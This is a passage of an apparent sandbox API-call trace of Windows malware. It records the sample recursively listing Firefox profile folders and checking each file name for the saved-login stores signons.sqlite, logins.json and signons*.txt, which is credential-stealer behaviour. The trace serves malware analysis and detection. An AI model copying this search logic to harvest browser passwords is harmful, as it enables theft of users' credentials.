lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0047.979] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*" [0047.979] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*", lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0x72dcd0 [0047.979] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.979] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0047.979] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.980] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.980] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0047.980] StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0047.980] lstrlenA (lpString="webapps.json") returned 12 [0047.980] StrStrIA (lpFirst="webapps.json", lpSrch="logins.json") returned 0x0 [0047.980] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0047.980] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0047.980] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0047.980] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0 [0047.980] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0047.980] LocalFree (hMem=0x74d860) returned 0x0 [0047.980] LocalFree (hMem=0x74fba8) returned 0x0 [0047.980] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.980] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.980] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0047.980] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="logins.json") returned 0x0 [0047.980] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0047.980] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.980] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.980] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 0 [0047.980] FindClose (in: hFindFile=0x72dc90 | out: hFindFile=0x72dc90) returned 1 [0047.980] LocalFree (hMem=0x746ad0) returned 0x0 [0047.980] LocalFree (hMem=0x7469f0) returned 0x0 [0047.980] LocalFree (hMem=0x74a738) returned 0x0 [0047.980] LocalFree (hMem=0x76b790) returned 0x0 [0047.980] LocalFree (hMem=0x745b68) returned 0x0 [0047.980] LocalFree (hMem=0x75b918) returned 0x0 [0047.980] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0047.980] lstrlenA (lpString="*.*") returned 3 [0047.980] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x74a738 [0047.980] lstrcpyA (in: lpString1=0x74a738, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0047.980] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*.*" [0047.980] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*.*", lpFindFileData=0xefa00 | out: lpFindFileData=0xefa00) returned 0x72dc90 [0047.980] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.980] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa00 | out: lpFindFileData=0xefa00) returned 1 [0047.980] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.980] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.980] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa00 | out: lpFindFileData=0xefa00) returned 1 [0047.980] lstrcmpiA (lpString1=".", lpString2="Crash Reports") returned -1 [0047.980] lstrcmpiA (lpString1="..", lpString2="Crash Reports") returned -1 [0047.980] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0047.980] lstrlenA (lpString="") returned 0 [0047.980] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a800 [0047.980] lstrcpyA (in: lpString1=0x74a800, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0047.980] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0047.980] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0047.981] lstrlenA (lpString="Crash Reports") returned 13 [0047.981] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x745b68 [0047.981] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0047.981] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Crash Reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0047.981] LocalFree (hMem=0x74a800) returned 0x0 [0047.981] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned 69 [0047.981] lstrlenA (lpString="\\*.*") returned 4 [0047.981] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x75c938 [0047.981] lstrcpyA (in: lpString1=0x75c938, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0047.981] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*" [0047.981] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*", lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 0x72dcd0 [0047.981] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.981] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 1 [0047.981] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.981] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.981] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 1 [0047.981] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.sqlite") returned 0x0 [0047.981] lstrlenA (lpString="InstallTime20131025151332") returned 25 [0047.981] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="logins.json") returned 0x0 [0047.981] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.txt") returned 0x0 [0047.981] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons2.txt") returned 0x0 [0047.981] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons3.txt") returned 0x0 [0047.981] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 0 [0047.981] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0047.983] LocalFree (hMem=0x75c938) returned 0x0 [0047.983] LocalFree (hMem=0x745b68) returned 0x0 [0047.983] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa00 | out: lpFindFileData=0xefa00) returned 1 [0047.983] lstrcmpiA (lpString1=".", lpString2="Profiles") returned -1 [0047.983] lstrcmpiA (lpString1="..", lpString2="Profiles") returned -1 [0047.983] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0047.983] lstrlenA (lpString="") returned 0 [0047.983] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a800 [0047.983] lstrcpyA (in: lpString1=0x74a800, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0047.983] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0047.983] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0047.983] lstrlenA (lpString="Profiles") returned 8 [0047.983] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x745b68 [0047.983] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0047.983] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0047.983] LocalFree (hMem=0x74a800) returned 0x0 [0047.983] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 64 [0047.983] lstrlenA (lpString="\\*.*") returned 4 [0047.983] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x74d860 [0047.983] lstrcpyA (in: lpString1=0x74d860, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0047.983] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*" [0047.983] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 0x72dcd0 [0047.984] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.984] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 1 [0047.984] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.984] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.984] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 1 [0047.984] lstrcmpiA (lpString1=".", lpString2="asmpdd98.default") returned -1 [0047.984] lstrcmpiA (lpString1="..", lpString2="asmpdd98.default") returned -1 [0047.984] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 64 [0047.984] lstrlenA (lpString="\\") returned 1 [0047.984] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x7469f0 [0047.984] lstrcpyA (in: lpString1=0x7469f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0047.984] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0047.984] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 65 [0047.984] lstrlenA (lpString="asmpdd98.default") returned 16 [0047.984] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x746ac0 [0047.984] lstrcpyA (in: lpString1=0x746ac0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0047.984] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0047.984] LocalFree (hMem=0x7469f0) returned 0x0 [0047.984] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0047.984] lstrlenA (lpString="\\*.*") returned 4 [0047.984] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x74fba8 [0047.984] lstrcpyA (in: lpString1=0x74fba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0047.984] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*" [0047.984] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*", lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 0x72dd50 [0047.984] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.984] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.984] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.984] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.984] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.984] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0047.984] lstrlenA (lpString="addons.json") returned 11 [0047.984] StrStrIA (lpFirst="addons.json", lpSrch="logins.json") returned 0x0 [0047.984] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0047.984] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0047.984] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0047.985] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.985] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0047.985] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0047.985] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0047.985] lstrlenA (lpString="\\") returned 1 [0047.985] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fc88 [0047.985] lstrcpyA (in: lpString1=0x74fc88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0047.985] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.985] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0047.985] lstrlenA (lpString="bookmarkbackups") returned 15 [0047.985] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74d998 [0047.985] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.985] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0047.985] LocalFree (hMem=0x74fc88) returned 0x0 [0047.985] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned 97 [0047.985] lstrlenA (lpString="\\*.*") returned 4 [0047.985] LocalAlloc (uFlags=0x40, uBytes=0xe6) returned 0x74da88 [0047.985] lstrcpyA (in: lpString1=0x74da88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0047.985] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*" [0047.985] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*", lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0x72dd90 [0047.985] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.985] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0047.985] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.985] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.985] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0047.985] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.sqlite") returned 0x0 [0047.985] lstrlenA (lpString="bookmarks-2017-06-30_5.json") returned 27 [0047.985] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="logins.json") returned 0x0 [0047.985] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.txt") returned 0x0 [0047.985] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons2.txt") returned 0x0 [0047.985] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons3.txt") returned 0x0 [0047.985] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0 [0047.985] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0047.985] LocalFree (hMem=0x74da88) returned 0x0 [0047.985] LocalFree (hMem=0x74d998) returned 0x0 [0047.985] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.985] StrStrIA (lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0047.985] lstrlenA (lpString="cert8.db") returned 8 [0047.985] StrStrIA (lpFirst="cert8.db", lpSrch="logins.json") returned 0x0 [0047.985] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0047.985] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0047.985] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0047.985] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.985] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0047.985] lstrlenA (lpString="compatibility.ini") returned 17 [0047.985] StrStrIA (lpFirst="compatibility.ini", lpSrch="logins.json") returned 0x0 [0047.986] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0047.986] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0047.986] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0047.986] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.986] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.986] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0047.986] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="logins.json") returned 0x0 [0047.986] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0047.986] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.986] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.986] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.986] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.986] lstrlenA (lpString="cookies.sqlite") returned 14 [0047.986] StrStrIA (lpFirst="cookies.sqlite", lpSrch="logins.json") returned 0x0 [0047.986] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0047.986] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.986] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.986] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.986] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.986] lstrlenA (lpString="downloads.sqlite") returned 16 [0047.986] StrStrIA (lpFirst="downloads.sqlite", lpSrch="logins.json") returned 0x0 [0047.986] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0047.986] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.986] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.986] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.986] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0047.986] lstrlenA (lpString="extensions.ini") returned 14 [0047.986] StrStrIA (lpFirst="extensions.ini", lpSrch="logins.json") returned 0x0 [0047.986] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0047.986] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0047.986] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0047.986] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.986] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.986] lstrlenA (lpString="extensions.sqlite") returned 17 [0047.986] StrStrIA (lpFirst="extensions.sqlite", lpSrch="logins.json") returned 0x0 [0047.986] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") 